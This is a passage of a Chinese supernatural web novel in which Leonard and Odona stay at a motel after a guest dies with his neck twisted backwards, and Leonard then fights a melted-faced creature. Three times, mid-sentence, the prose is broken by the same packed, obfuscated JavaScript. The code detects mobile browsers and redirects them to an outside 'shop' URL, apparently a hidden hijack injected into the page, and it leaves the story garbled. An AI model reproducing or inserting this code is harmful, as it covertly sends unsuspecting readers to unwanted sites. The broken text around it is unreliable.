“奥多娜?”莱纳德忽然感到喉咙发烫,仿佛那把火不止在尸体上燃烧,同时也烧到他了身体里似的,一股奇怪的感觉蔓延开来,在他胃里、喉咙里、脑袋里蠢蠢欲动。 头几个音节从嘴里冒出来时,莱纳德甚至没意识到那是他自己在说话,因为声音和语调都不像,他几乎是震惊地听着那个声音,那些晦涩难懂的词语也不属于他掌握的任何一门语言,而他竟然还在源源不断地吐出更多。 与此同时,那一小簇颤颤巍巍的火苗仿佛得到了某种神秘的支持,“嘭”地一下膨胀起来,飞快地在尸体上蔓延开来。 莱纳德和奥多娜连忙捂着鼻子后退,两人都闻到了一股腥臭味。 “老天爷,”莱纳德捂着嘴嘟囔,“恶魔的屁股被烤焦的味道也不过如此了。” 奥多娜用鼻子发出一个含义不明的音节,不知道是表示赞同还是质疑,她盯着眼前越烧越旺的火焰,漆黑的瞳孔被映成了金红色。 “你怎么知道那些咒语的?”她终于问。 “我不知道。”莱纳德回答时心脏狂跳不已,他知道那些咒语会起效,格雷戈会永远安息。 就像小胡子说的,他迟早会记起来。 直到尸体的最后一块灰烬也消失在火焰中,两人才转身离开,往福特那边走去,奥多娜边走边活动肩膀,骂骂咧咧地诅咒格雷戈下地狱后最好还能继续体验地狱烈火深度烧烤。 莱纳德走在她旁边,只觉得奥多娜的声音越来越遥远,变得又轻又细,简直像个小女孩一样,他晃了晃脑袋,脑仁和胃立刻一齐抗议起来,不,别了,老实点吧。 然后奥多娜的声音突然又放大了,一同放大的还有她的脸,几乎凑到他面前,嘴巴焦急地一张一合,但他说什么也理解不了那几个音节。 “奥多娜,我觉得、我觉得我就要……”莱纳德嘟囔,更有可能只是以为自己发出了声音,他感到奥多娜的手臂正撑着自己的肩膀和腋下,架着他往车门走去,那力道不知怎地很让人安心,于是莱纳德闭上眼睛,然后一低头,吐在了奥多娜的裤子上。 哦,真该死。 74.第五章:蓝天汽车旅馆 莱纳德头疼欲裂地睁开眼睛,先看到贴着丑陋的黄色旧贴纸的天花板,然后是摇摇欲坠的风扇,两样东西都是脏兮兮的,像是足足有一百年没打扫过了。 “你醒啦。”一阵窸窸窣窣的声响过后,奥多娜出现在他的视野里,然后伸出手,冰凉的手指贴上他两侧太阳穴,轻轻地揉着,“如果我是你,就不会随便乱动脑袋,虽然不严重,但脑震荡也不是闹着玩的。” 莱纳德眨了眨眼睛,眼球立刻一阵钝痛,好像后面坠着两根大铁链似的,于是只发出了一个音节“嗷”。 “嗯哼,感觉还不赖?”奥多娜微笑,把手收回去,莱纳德感到一阵失望,他尽量慢慢转动眼珠望向奥多娜,清清嗓子开口,他的声音听起来像是两片旧铁片互相摩擦:“这是哪儿?” “蓝天汽车旅馆,旅行者的梦中港湾。”奥多娜用圣经合唱般的语调回答,然后挤了挤眼睛,“不过要用我的话来形容,只是个有屋顶的破洞。”她耸耸肩:“我本来可以给咱们挑个更好的旅馆的,但我的钱都留在本福莱特修车行了,平心而论,那老家伙是个强盗。” 莱纳德扯了扯嘴角:“我有钱。”就在他裤子口袋里,等等,他的裤子呢? “你是指这张可疑的信用卡?”奥多娜手腕一翻,食指和中指间便多了张黑色卡片,上面既没有花纹,也没有字母和数字,她端详着卡片,笑嘻嘻地说,“能在不同时代、不同国家、不同星球刷信用点、提取钱款的万能卡片,没猜错的话,是以利亚给你的吧?” “嗯,我知道,信用卡欺诈巴拉巴拉。”莱纳德闭上眼睛,嘟囔,“但是很方便。” “我才不在乎信用卡欺诈呢,杜弗伦先生,”奥多娜把卡片拍到莱纳德胸口上,翻了个白眼,“我只是不知道密码。” 莱纳德抓住卡片,嘟囔了句抱歉之类的话:“我会记得把密码写在纸条上,然后贴到信用卡背面的。”说到纸条,莱纳德脑子忽然警铃大作,他的纸条还在裤子口袋里,那张写着地址和密码的纸条! 他一把抓住奥多娜的手,用力攥住,紧张到结巴:“我、我的衣服呢?”尽管盖着被子,但不难感觉出来,他现在浑身上下只穿着一条内裤。 “你是说你那身沾满呕吐物的衣服?”奥多娜皱起鼻子,把自己的手挣脱出来,夸张地甩了甩,“早就丢到垃圾桶里了,说起来,你还欠我一身衣服,我可是很喜欢那条牛仔裤的。” 莱纳德急切地追问:“那口袋里的东西呢?” “哦,那些莫名其妙的玩意儿啊。”奥多娜故意拖长音调,莱纳德就快维持不住表情了,她才用拇指戳了戳肩膀后的空气,“都在桌上堆着呢,喏,看见那个披萨盒了没?” 莱纳德这才松了口气,被褥上忽然一沉,紧跟着“喵”的一声,阿西莫夫跳到了床上,踱到他肩膀的位置,低下头来闻了闻他的脸。莱纳德抬起手揉了揉猫咪,对方的脑袋和耳朵都惊人的柔软,还撒娇似的在他掌心蹭了蹭,发出满足的咕噜声。 莱纳德忍不住微笑起来,一边挠猫咪下巴一边问奥多娜:“我睡了多久?”他只记得在那条被诅咒的公路上烧掉格雷戈的尸体,还有那两次足以让他找个地缝钻进去的呕吐事件,对于他们是如何离开的,以及奥多娜提到的修车行和汽车旅馆,但他都毫无印象。 “不到一天吧。”奥多娜的语气若无其事,“你睡得挺香的,我把你扛上来的时候你还在说梦话,旅店老板八成以为你是个酒鬼,或者酒瘾发作的毒虫,但他是个喜欢钱的好心人,所以没有报警。” “梦话?”莱纳德感到自己的脸迅速红了,甚至顾不上为自己被一个五英尺三英寸的娇小女人扛进旅馆然后又扛上楼的丢人事迹感到羞愤,他不记得自己梦见什么,但被人听到自己说梦话总有种不穿衣服见人的感觉,当然,他现在也确实没穿衣服,莱纳德想着忍不住叹了口气,好吧,债多不愁。 “别担心,没有限制级内容。”奥多娜坏笑着说,扶起莱纳德,让他靠在枕头上,拎着阿西莫夫的脖子把它丢下床,然后递过来一杯冰水,“现在,乖乖把水喝了,然后闭上眼睛休息,有话我们明早再说。” 莱纳德把水喝了,这才发现外面天是黑着的,而墙上的钟显示现在是凌晨三点四十分。 “你这个点都没睡?”他忍不住问奥多娜,刚才醒过来的时候屋里灯还是亮的,莱纳德觉得这个女人因为怕黑不敢关灯的可能性无限趋近于零。 “嗯,正好手头有点事做。”奥多娜含糊地回答,一边回到另一边的床上,莱纳德看到她把一个牛皮本塞到了枕头底下,利索地翻身盖被。“快睡吧,我关灯了。” 莱纳德刚想提醒她电灯开关在门口,奥多娜就挥手扔出个小东西,不偏不倚,正好砸在开关上,屋里立刻陷入黑暗。 好吧,莱纳德吁了口气,就算有天大的事也等明早再说。 脑袋边枕头忽然一动,阿西莫夫悄没声地跳上床来,在他脖子和肩膀旁边找了个舒服的位置窝下来,抱住了自己的尾巴。 莱纳德闭上眼睛,竟然很快就睡着了。 第二天,莱纳德被食物的香味勾醒,奥多娜从外面买回了鸡蛋三明治和辣酱热狗,她换上了一身运动衣,头发在脑后扎成马尾,看上去健康又充满活力,像是刚刚出去晨跑了一圈然后顺路买回了早餐。 “瞌睡虫,太阳晒屁股啦。”奥多娜把纸袋子搁到桌上,然后从背包里翻出一套法兰绒衬衫和牛仔裤,丢给莱纳德,“把自己打扮得体面点,然后过来吃饭,你是想吃三明治还是热狗?” 莱纳德手忙脚乱地接住,衣服是旧的,搞不好是从修成行的老板那里赊来的,裤子上还沾着一块机油——后来莱纳德才知道奥多娜是以另一种不需要花钱的方式拿到这身衣服的,因为“那个讨厌鬼看着就一副欠教训的样子”。 莱纳德思考了一秒要不要在被窝里穿衣服,最后决定还是别表现得像个害羞的大姑娘,他跳下床,用最快的速度把裤子穿上,然后套上背心和衬衣,这才感到饥肠辘辘,他也确实已经超过一天没吃东西了:“呃,热狗听起来不错?” “咹——”奥多娜用嘴模拟蜂鸣器的错误提示音,然后愉快地说,“正确答案是,你吃三明治和牛奶,因为你还是个病号,辣酱热狗和冰可乐归我,因为买早餐的人说了算。” “我已经完全好了,活蹦乱跳,真的。”莱纳德嘴上反驳,但还是妥协地接过三明治,食物的香气让他感到心情愉快。身后,阿西莫夫脚步轻盈地从一张床跳到另一张床,最后敏捷地跳上了餐桌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665851|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲奥多娜喵喵直叫。 “知道了、知道了,这是你的猫粮,小东西。”奥多娜变魔术似的从口袋里掏出一罐猫粮,打开盖子,推得远远的,“去,上那边吃去,你这个粗鲁的食肉动物。” 阿西莫夫高冷地瞥了奥多娜一眼,一扭腰,朝猫粮罐头跳了过去,立刻埋头吃起来,不过据莱纳德观察,它的吃相还是挺斯文的,尽管那里面装的只是一小坨恶心的肉泥。 莱纳德在桌边坐下,先大口喝掉半杯牛奶,然后咬了一口三明治,心满意足地叹了口气:“啊,这下完全活过来了。” 奥多娜小口咬着热狗,上下打量着莱纳德,对他的说法表示赞同:“你确实比昨天看起来好多了,不瞒你说,我在停尸房里都见过比你气色好的住客。” “只是脑震荡而已。”莱纳德认为奥多娜就喜欢夸张,尽管他现在还有种四肢乏力的虚脱感,但还是嘴硬道,“睡一觉就好了。” “只是脑震荡?”奥多娜挑眉,“好吧,你的脑袋你说了算。” “那不然呢?”莱纳德忽然有些心虚。 “我不知道,大金毛儿,呼——”奥多娜被热狗辣得狂喝可乐,吐着舌头说,“不过在我看来,你就像被那几句驱魔咒语抽干了,脑震荡只是你违章驾驶的附赠惊喜而已。” 莱纳德不客气地指出,现在他们两人中间,奥多娜才是更像狗的那个,他低头用餐巾纸把手指上的鸡蛋渣揩掉,终于流露出一丝忧虑之色:“说实话,我也不知道怎么搞得,那天晚上,那些咒语自己就冒出来了,难不成我的驱魔师血脉突然觉醒了?” “还有驱魔师血脉这种东西?”奥多娜不以为然,“如果是真的,那你作为驱魔师可够烂的。” “嘿,脑震荡,别忘了。”莱纳德指着自己的太阳穴,艰难地挽回自己的男子汉形象,“一般情况下我肯定不会念几句咒语就一头栽倒,好吗?” “这种事情以前也发生过?”奥多娜问,目光里闪动着好奇的神色。 “好吧,其实和昨晚不大一样。”莱纳德犹豫着,最后还是决定把伦敦发生的事情一五一十讲给奥多娜听,尽管讲到后来,他自己都觉得不像真的,三流小说家也不至于编得这么荒唐,可它偏偏就是发生了。 “在你提问之前,”莱纳德还强调,“我来这边之后查过了,泰晤士河的确在那一年发生过不少淹死人的意外,但没有爆发丧尸狂潮,查尔斯·狄更斯没有早早死于非命,他那些小说也都还在。”他无奈地耸耸肩,“要么我碰上的是个冒牌货,要么他平安从墓地脱身了。” 奥多娜点点头,叼着可乐吸管沉思了一会儿,她对泰晤士河污染变异和英国著名作家的记者生涯半点都不感兴趣,只问:“所以你既不知道那小胡子是什么人,也不知道他把你送到这儿是为什么?”她瞪着莱纳德,表情就像在看一个大笨蛋。“你甚至都没搞明白以利亚身上究竟发生了什么?” “嗯。”莱纳德心虚地用牛奶挡住脸,也挡住在听到那个名字时扭曲了一下的表情。 奥多娜翻了个白眼,吸管被她咬得扁扁的:“但你还是来了。” 莱纳德也只能叹气:“但我还是来了。” “妈的。”奥多娜下结论道,“我可真是被拉上了贼船。” 75.第六章:致命楼梯 吃过早饭后,外面已经是天光大亮。 奥多娜换了身衣服准备出门,声称要给接下来不靠谱的冒险添置些靠谱的装备,还拿走了莱纳德的万能信用卡,然后翻脸无情地谢绝了对方的同行请求,让他老老实实待在旅馆里,把他那颗“升级中的小脑袋瓜”养好。 莱纳德只好悻悻作罢,倒不是说他有多想看奥多娜收集军火,但被一个人留在旅馆里对他来说也不算什么新鲜体验,至少以利亚这么做的时候还把信用卡给他了。 好吧,听起来怪怪的。 阿西莫夫留在房间里陪他,这猫咪吃饱喝足,大摇大摆地在奥多娜的枕头上窝下来。 莱纳德盯着阿西莫夫,想到奥多娜塞在枕头下的牛皮本子,心里不由得蠢蠢欲动,谁会在大半夜不睡觉写日记? 而且,奥多娜根本不像那种会写日记的人。 “阿西莫夫,过来。”莱纳德朝猫勾了勾手指,而科幻小说之父不为所动,坐在床上悠然自得地舔着爪子,于是莱纳德跨一步上前,喃喃道,“乖,别逼我过去抓你哦。”眼神却止不住往枕头下瞟去。 阿西莫夫忽然放下爪子瞅了他一眼——莱纳德敢对天发誓——那对圆溜溜的眼睛里充满不屑之情,然后轻快地一跃,跳到床下去了。 剩下莱纳德一个人坐在床上,盯着落在枕头上的头发丝,心砰砰跳了起来,几乎感到一阵眩晕,他仿佛能透过枕头看到下面躺着的牛皮本,同时他也能看到脑海里另一幅栩栩如生的画面。 ——以利亚从桌上拿起牛皮本,目光仿佛看着什么珍爱之物似的,小心翼翼地用手指拂去上面的灰尘。 然后,他张开嘴说了些什么。 可惜这幅画面并没有配上声音或者字幕,莱纳德不喜欢这种临门一脚却无法知道的感觉。他想不通奥多娜为什么会拿着以利亚的东西,但答案说不定就写在本子里,这个念头十分有力,推动着他伸出了手。 指尖触到牛皮封面时,忽地“啪”地窜起蓝色静电来,莱纳德猛地缩回手,心砰砰直跳,但一秒、两秒、三秒过去了,什么都没有发生。 莱纳德拿起了牛皮本,分量出乎意料地轻,他翻开第一页,又用拇指把书页哗啦啦翻了一遍。 这本子是空白的。 啊啊啊!!! 门外猝然响起女人刺耳的尖叫声,莱纳德像被蝎子蛰到似的缩回手,扭头瞪向紧闭的房门。 出事了。 外面很快吵闹起来,脚步声、叫嚷声,一个男人大声喊着“操他妈的快叫救护车”,夹杂在无数句“上帝”“天啊”和惊慌失措的咒骂中。 莱纳德站起来,走到门边,把门拉开了一条缝。 外面早就挤了无数看热闹的人,大部分都挤在楼梯口,也有不少像他那样打开门探头探脑好奇心旺盛的家伙,从那些人叫喊的话来看,似乎是某个倒霉鬼一不小心从楼梯上滚了下去,摔得十分惨烈。 用一位花容失色的女士的话来形容,一定是魔鬼藏在楼梯间伸脚绊倒他的,因为看在甜蜜的耶稣的份上,没有哪个可怜人活该受到这样的折磨。 也许是听了这句话,也许是内心里早就预感到了什么,莱纳德推开门走了出去,钻进看热闹的人群里,往前挤过去。 “嘿,小子,看好脚下。”一个差点被莱纳德踩到的花衬衫男人扭过头,不快地瞪了他一眼,“这他妈又不是今夜秀现场,还是说摔断脖子那人是你老爸?”不过嘴上这么说着,花衬衫还是往旁边让了让。 于是莱纳德看到了楼梯口的惨祸现场。 他宁愿自己没有看到。 一个蓝色衬衫和背带裤的男人倒在地上,没有多少血迹,却说不出的古怪,一开始,莱纳德还以为男人是留了某种千禧年一代的杀马特发型,但很快就意识到,那并不是他的正脸,而是后脑勺。 他的正脸朝着后背,脖子像麻花一样扭曲,不多不少正好转了一百八十度。 莱纳德刚吃下去的鸡蛋三明治在胃里打了个滚,他意识到救护车来得再快也没用,就算上帝驾到也救不了这个可怜家伙,唯一的安慰就是,他大概死得很干脆利索,没受太多痛苦,或者说再大的痛苦也很快就过去了。 莱纳德头晕目眩地往后退去,他搞不懂这种场面怎么会吸引这么多人跑来围观,这里又不是得克萨斯州。 “伙计们,救护车和警车都在路上了,各位可以安心地回房间去了。”旅店老板终于出面维护秩序了,他看面相就是个和气的老好人,举起两只手朝人群做出下压的动作,“给可怜的米勒先生最后一点尊严和体面,好吗?” 一个穿西装打领结的男人回嘴道:“怎么安心啊?你这楼梯明显有安全隐患。” 老板沉下脸,那副老好人相立刻多出了两道深深的法令纹,他伸出一根手指指着西装男:“听着,我不需要有人在我的旅馆里胡说八道,这段楼梯也保管比你外祖母的底裤还结实可靠,所以安不安全还轮不到你来评价,听明白了吗?” “你怎么敢!”西装男一脸被冒犯到的神情,却偏偏想不出合适的话回敬,只好又恨恨地重复一遍,“都出人命了,你怎么敢!” 老板一副身经百战的老练模样,接过他的话头,又四两拨千斤地一转:“正是因为出人命了,所以我们才要把接下来的事交给警察,怎么样?先回屋去,等警察先生问话的时候,各位再踊跃报名不迟。” 最后这句话相当有效,没人愿意跟警察打交道,住客们终于作鸟兽散,只留下一个身材粗壮的光头男人蹲在尸体旁边。 “凯恩,怎么说?”店老板凑过去,问那个光头男人。 凯恩摇了摇头,声音低沉浑厚:“没救了,谁都看得出来。” “这种死相可不常见,对吧?”店老板的语气仿佛意味深长,他掏出一根烟点上,又递给凯恩一根,两个人吞云吐雾了一会儿,老板才语气平平地说:“保准是喝醉了,一脚踩空,连摔了他妈的二十八级台阶。” “他身上没有酒味。”凯恩实事求是地反驳。 “那就是毒虫上脑,要么被人下药,神志不清。”老板这次压低了声音。 “那是警察该做的判断。”凯恩深深吸了一口烟,手里的烟转眼只剩个屁股,他长长地吐了口气,把烟头丢到地上踩灭,然后说,“至于咱们,咱们只能向上帝祈祷十年前的事别再重演。” 老板沉着脸,猩红的烟头在嘴边一上一下:“你他妈算是说对了。” 莱纳德回到房间,视网膜里仿佛还残留着背带裤男人倒在楼梯下的可怖场面,那个男人平展地倒在地上,并不像失足从楼梯上摔落,当然,也不排除有人挪动过尸体。 但人的脖子真有可能被摔成那样吗? 莱纳德在床上坐下来,随手打开房间电视,调高音量,把新闻当作背景音,心慌的感觉这才慢慢消退,转而变成一种微妙的刺痒在胃里蛰伏下来。 说来也怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13673096|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自从跟着以利亚到处旅游,他也算是见识过一些足以让普通人噩梦连连的血腥凶案现场,但不管是被影蛉虫吃光内脏的人皮,还是停尸房里仰卧起坐的丧尸,都没有那具脸朝后的尸体冲击来得大。 整个事件都透着说不出的古怪。 和一种无法解释的似曾相识。 门忽然“吱呀”一声,开了条缝,莱纳德直接吓得从床上跳了起来,只差一点就像个怕鬼的七岁女孩一样尖叫出声。 结果却是阿西莫夫从门缝里钻了进来,尾巴扫过门边,若无其事地从莱纳德面前踱过去,然后跳上了奥多娜的床。 这猫什么时候蹿出去的? 莱纳德目瞪口呆,他朝猫咪勾勾手指:“过来。”阿西莫夫恍若未闻,径自低头舔爪子。莱纳德只好绕到奥多娜床边,在猫咪旁边坐下,伸手把它抱到自己腿上。 猫爪子很干净,看样子并没有胆大包天地离开旅馆,或是偷偷溜到厨房去偷东西吃,莱纳德拨弄着猫咪项圈上的玫瑰花,这么多天过去,玫瑰花瓣依然鲜嫩欲滴,连一点凋落枯萎的迹象都没有,而他自己的那朵则在他踏过传送门的刹那就化作了飞灰。 所以关键并不在于玫瑰花。 而是这只从天而降的猫。 “阿西莫夫,来,看着我,小东西,你跟着我干嘛?嗯?”莱纳德熟练地挠着猫咪下巴,换作平时,猫肯定要眯起眼睛,舒服地咕噜几声,但这次它竟然像是听懂了莱纳德的话,一脸严肃地回望着他,圆圆的尾巴打着卷,勾住了对方的手腕。 莱纳德忍不住微笑,捏着猫爪晃了晃:“所以确实是你想跟着我咯,跟着我有什么好?嗯?” 阿西莫夫当然并不回答。 莱纳德脸上的笑容忽然一僵:“等等,你不是那个小胡子派来监视我的间谍吧?我猜你跟他不是一伙的,嗯哼,长得就不像一伙的,你说呢?”莱纳德一边对着猫自言自语,一边暗自希望奥多娜别回来太早,好撞见他这副蠢样。 结果,撞见莱纳德这副蠢样的并不是奥多娜,而是警察。 道森警长在十二公里外的比迪福德当了二十年警察,十年警长,见识过不少大风大浪,直到两年前才因不堪膝盖旧伤的折磨回到这座他长大的绿湖镇。 在道森看来,绿湖镇依然与他拖着鼻涕在马路上疯跑的时候没有两样,这镇上只有两种人,一种是本地居民,另一种是在附近猎区玩得尽兴、钱包也被烧出个大洞来的游客。 而进门不超过三分钟,道森警长就确定,莱纳德·杜弗伦并不属于其中任意一种。 “你是说,杜弗伦先生,你和你女朋友是在去波特兰的路上汽车抛锚,才临时住在这里的?”道森锐利的眼睛上下打量着莱纳德,语调暗含某种不认同,似乎任何有理智的人都不会做出这样的决定。 莱纳德点点头,他的确没说谎,除了女朋友的部分——一个不合时宜的念头从脑袋里转过,看在上帝的份上,奥多娜可千万别在这节骨眼上背着一包军火回来,那样他就真的浑身是嘴也说不清了——莱纳德镇定地回视警长:“介意我问问是怎么回事吗?我以为只是一场不幸的意外,怎么我这种局外人还得接受警察询问?” “只是例行询问而已。”道森简短地说。 莱纳德追问:“所以那的确是场意外?” 警长的目光又变得锐利起来:“怎么,你有不同意见?” 莱纳德闭上嘴,他可真是问了个蠢问题。 76.第七章:恶魔嘴脸 莱纳德本以为那次简短又尴尬的问答环节就是他跟道森警长的全部缘分,但没想到的是,当天晚上,他们就又见面了。 在那之前,还发生了一个小意外,以及这个小意外引发的另一个大意外。 这一切还要从那只猫说起。 直到下午过半,奥多娜才回到旅馆,她并没有像莱纳德以为的那样带着一堆军火满载而归,而是打包了双份薯条汉堡,和一袋新鲜出炉的牛顿无花果饼干,身上还多了一件漂亮的风衣,仿佛她出门只是为了逛街购物。 显然,不管是作为前任时间特工还是雇佣兵,奥多娜·霍普女士都有足够的敏锐性远远嗅到旅馆里不同寻常的气息。 也许还听到了莱纳德肚子咕咕叫的动静。 “抱歉,比计划回来得晚了些,我该给你留点现金的,或者从厨房里偷点豆子罐头来。”奥多娜咬着嘴唇笑起来,在莱纳德咀嚼的间歇把可乐递过去,“慢点吃,没人跟你抢,两份都是你的。” “唔?”莱纳德发出一声含糊的疑问。 “我不饿,真的。”奥多娜眼含笑意,仿佛看莱纳德狼吞虎咽比自己吃东西要有趣得多。 莱纳德喝了一大口可乐把嘴巴里的东西灌下肚,吁了口气,说道:“你最好还是吃点,厨房里的豆子罐头全是过期的,我去看过了。” 奥多娜哈哈大笑。 “我猜你已经知道那场意外了?”莱纳德擦掉嘴巴上的芥末酱,问道。 “嗯哼。”奥多娜点点头,语气意味深长,“如果那真是场意外的话。” 莱纳德忍不住说:“道森警长会爱听这话的。” “哦?如果真是这样,警长先生随便在镇子上转一圈都不会失望的,小道消息早就传开了,流言蜚语呈几何增长,这就是我为什么爱小镇。”奥多娜笑嘻嘻地说。 “你不会已经查出真相来了吧?”莱纳德故意夸张地扬起眉毛,但其实就算奥多娜点头承认,他也不会感到惊讶,这个女人总能出人意表。“马普尔小姐 ,小镇居民们都是怎么说的?” 但奥多娜并没有读过阿加莎·克里斯蒂的侦探小说,所以她没听懂这个冷笑话,真遗憾。 奥多娜嘴里抿着一块无花果饼干,思索着说道:“杰弗瑞·米勒先生并不是游客,他就是本镇居民,一家小银行的职员,之所以会住在蓝天汽车旅馆是因为他家的暖气水管爆了没修好,这个季节他可不乐意睡在冰窖里,于是算了算存折盈余,认为自己值得犒劳一下自己,简而言之,只是个小意外。” 她说着往椅背上一靠,目光越过莱纳德的肩膀飘向远方,语气里忽然多了种说不出的阴郁:“你得承认,有时候小意外就像小涟漪,永远没法知道哪一次会变成滔天巨浪。” “没想到你还是个哲学家。”莱纳德说道。 “没想到你还是个聪明鬼。”奥多娜反唇相讥,她顿了顿,又说,“虽然警方没有公布任何消息,不过道森警长似乎认为这起命案中另有猫腻,确实,太多巧合了。” “巧合?”莱纳德问。 奥多娜向他倾过上身,故意压低声音:“你知道吗?不多不少十年前,恰恰在我们所在的这家旅馆,也发生过一场住户摔断脖子的命案,一百八十度,听说入殓师不得不给那个可怜人用棉花和铁丝做了个新脖子,”她阴森森地一笑,“因为,那颗脑袋总是自己扭回去。” 莱纳德手臂上冒出一层鸡皮疙瘩。 “所以这是连环杀人案?隔了整整十年?”他越想越觉得不可思议,“十年前的死者跟杰弗瑞·米勒难道有什么关系?” “不知道。”奥多娜倒回椅背上,手臂一伸,捞过饼干袋子抱在怀里,“那就是道森警长需要操心的了,我个人的好奇心有限,不管是连环杀人犯还是模仿猫,还是发疯的地吸引力,只要不是冲着咱们来就成。” 莱纳德下意识反驳:“可是都出人命了。” “所以呢?”奥多娜掀起眼皮,漂亮的黑眼睛里流露出一丝讽刺的笑意。 “没什么,”莱纳德不自在地扭了扭,“只不过我以为你想把案子查清楚。” “我只查该查的,杜弗伦先生,除非有额外的赏金。”奥多娜露出赏金猎人似的粗野笑容,语气让莱纳德分辨不出她是开玩笑还是认真的。 莱纳德忍不住问:“那这次你跑来缅因州保护我,又收了多少赏金?” “谁说我是来保护你的?”奥多娜瞪起眼睛,把手里的饼干朝莱纳德扔过去,吓得莱纳德直接张嘴去接,她冷笑着磨了磨牙,“你最好小心点,没准我是收了钱来取你小命的,眼下好吃好喝地给你也只不过是步步为营,骗取你的信任罢了。” 莱纳德“咔嚓”一下把饼干嚼成碎块,把握十足:“我不信,杀我用不着这么麻烦。” 奥多娜瞪着他,终于忍不住“嗤”地一声笑了,“这话算你说对了。”她总结道。 两人有一搭没一搭地聊天,但话题不管怎么转都笼罩在一层阴影之下,奥多娜只字不提她对命案的看法,却似乎心不在焉,一袋饼干快见底的时候,她忽然“哎呀”了一声,左右张望着问:“那猫呢?”一边坐在椅子上扭过来扭过去,还以高难度姿势弯下腰,把床底下都看过了。 “出去了吧。”莱纳德倒是毫不意外,一耸肩,“它自己会开门,野着呢。” 奥多娜不以为然地皱起眉头:“别傻了,它开门我怎么会没注意到?” 莱纳德说:“说不定你回来之前它就溜了,上午也溜过一次,别担心,它在外边玩腻了就回来了,这个爱四处乱窜的小混蛋。” “我回来的时候它在我床上。”奥多娜的语气很肯定,一边在屋里转了一圈,这次检查得更仔细,连枕头底下都翻过一遍,阿西莫夫当然不在那儿。 “喂,”莱纳德想说句俏皮话,说不定阿西莫夫像幻影猫一样学会了穿墙术,但奥多娜抬头时近乎严厉的表情让这话堵在了喉咙里,他不由得被她的情绪感染,从床上捞起外套便往出走:“我去找它。” 奥多娜点点头,莱纳德出门前她又叫住他,语气凝重:“小心点,杜弗伦,这个地方总给我一种不好的感觉。” 莱纳德骤然想起查尔斯说的“那里有魔鬼正在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687284|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳舞”,一股寒意顿时顺着脊柱蹿了上去。 他认为奥多娜的感觉没错。 莱纳德本能地避开了楼梯,没什么特殊理由,就像飞鸟迁徙时会避开某些特定的山谷、树林、沼泽地一样,哪怕这些地方看上去完全正常。 当然,这也意味着他只能在一层转悠,也许待会儿还能出去呼吸一下小镇上的新鲜空气,如果一切顺利的话。 莱纳德拖着脚步走过昏暗的楼道,头顶的电灯“滋啦滋啦”地闪烁了几下,电路老化,几乎每个旅馆都躲不过的诅咒,莱纳德没太在意,他低着头,开始思考阿西莫夫会上哪儿去。 如果他是一只特立独行的猫,离开房间后会去到哪里呢? 一声猫叫忽然钻进耳朵,声音尖细高亢,莱纳德浑身一个激灵,抬脚就往后厨跑去,阿西莫夫就在那里! 不等他推门进去,厨房里就“叮呤咣啷”地响了一阵,紧跟着“咣当”一声大响,好像先是瓶瓶罐罐,然后整个架子都倒了下去。 莱纳德用力撞开厨房门,扑面的恶臭几乎熏得他一个趔趄,连眼睛都发痛了,仿佛这里不是厨房,而是个化粪池子似的。 厨房里果然乱七八糟,翻倒的储物架和散落满地的罐头让这里看起来活像刚刚经历过一场飓风,盐罐摔得四分五裂,白花花的盐粒洒得满地都是。 阿西莫夫果然在,它正压低身子伏在墙角的立式冰柜上,凶狠地冲一个人抖起浑身的毛。 而那个人——顺便一提,正是恶臭的源头——他的脸仿佛是被上帝做到一半觉得不满意,于是一巴掌拍扁了,然后丢进烤箱里加热了半小时造出来的玩意儿。 下一刻,那玩意儿直接朝莱纳德转了过来,整个人敏捷地向前一跃,脸首当其冲,原本是眼睛的地方却被两个黑洞洞的坑代替,黄绿色的脓液正顺着边缘往下滴。 莱纳德尖叫起来,但这声尖叫很可能只存在于他的脑袋里,而现实中,他就像身处战场的士兵那样肾上腺素狂飙,大脑还来不及判断周遭的情况,手脚已经做出了反应,一把抄起离他最近的家伙——后来他才发现那是个平底锅——用力朝烂脸人挥了过去。 在平底锅结结实实砸到对方脸上前,那张脸朝莱纳德笑起来,然后,那张融化了大半的嘴忽然用力过度似的向外猛张,一股黑烟从里面激射而出,敲锣一样正中平底锅中心,发出一声破碎的闷响。 平底锅竟然被击穿了! 莱纳德的右手向后一折,发出“嘎巴”一声,平底锅脱手飞出,那倒霉的手腕第二天会像面包圈一样肿起来,但眼下,莱纳德什么都没感觉到,黑烟击飞平底锅,朝他脸直冲过来,如同一条险恶的蚯蚓,扭动着打算从他嘴里钻进去。 阿西莫夫发狂似的大叫起来。 莱纳德来不及后退,只能举起手臂挡在脸前,就像所有陷入绝境的人那样,徒劳地闭上眼睛。 